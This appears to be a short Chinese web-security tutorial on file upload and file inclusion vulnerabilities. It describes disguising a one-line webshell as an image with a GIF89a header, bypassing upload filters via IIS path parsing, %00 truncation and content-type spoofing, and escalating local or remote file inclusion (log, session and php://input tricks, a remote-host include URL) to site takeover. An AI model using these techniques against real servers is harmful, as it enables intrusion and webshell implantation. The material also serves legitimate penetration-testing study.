文件上传漏洞:指用户上传了一个可执行的脚本文件,并通过该脚本文件获得了执行服务器端命令的能力。
文件头欺骗漏洞:
在一句话木马前面加上GIF89a 然后将木马保存为图片格式,例如Lin.jpg 、Lin.gif
如果对大小有要求就复制多几次
文件头欺骗可以绕过简单的waf
Filepath漏洞
可以用来突破自动命名规则(通过BurpSuite抓包修改)
-
改变上传后的路径/a.asp/,需要一定权限,不一定能创建成功,成功创建后为/a.asp/Lin.gif
-
直接改变文件名称/a.asp;.修改后为/a.asp;.Lin.gif,最后命名为a.asp
%00截断
1.上传图片木马通过BurpSuite抓包,修改文件名称,点击hex 找到空格20改为00
最后的上传的文件名为c.php
2.上传图片,直接修改图片内容content-type:改为text/plain 下面的内容删掉改为一句话木马
表单提交按钮不存在
有些页面没有提交按钮,通过F12修改前端代码,将<input type=”submit”value=”提交”name=”aa”>写入表单,
文件包含漏洞:严格来说,文件包含漏洞属于‘代码注入‘,原理是注入一段用户能控制的脚本或代码,并让服务端执行。文件包含可能出现在PHP,JSP,ASP,等语言中。
常见的导致文件包含的函数如下:
PHP:include(),include_once(),require(),require_once(),fopen(),readfile()…
JSP/Servlet:ava.io.File(),java.io.FileReader(),…
ASP:include file,include virtual,
PHP的文件包含函数
Include() require() include_once() require_once() 当使用这4个函数包含一个新文件时,该文件将被当作php代码执行,php内核不会去理会这个文件的类型
保存为include.php,在同一目录下创建test.txt 内容为<?php phpinfo()?>
访问测试 www.xxxx.com/test/include.php?c=test.txt
访问连接时就会将test.txt传给c,执行phpinfo()
文件包含漏洞利用的条件
1.include()等函数通过动态变量的方式引入需要包含的文件
2.用户能控制该动态变量
本地文件包含漏洞利用技巧
- 包含用户上传的文件 用户上传的文件内容中含有php代码,那这些代码被include()加载后会被执行
- 包含data:// 或者php://input 等伪协议
- 包含Session文件
- 包含日志文件,比如Web Server的access log。通过构造语句让服务器报错并将一句话随报错信息写入日志,找到日志文件,通过包含漏洞将日志文件包含,执行一句话后用菜刀连接后拿下网站
远程文件包含
如果php得配置选项allow_url_include为on,则include/require函数时可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)
代码:
执行时就把攻击站点的文件包含到目标站点就行
www.xxx.com/test/include.php?c=www.asd.com/113.txt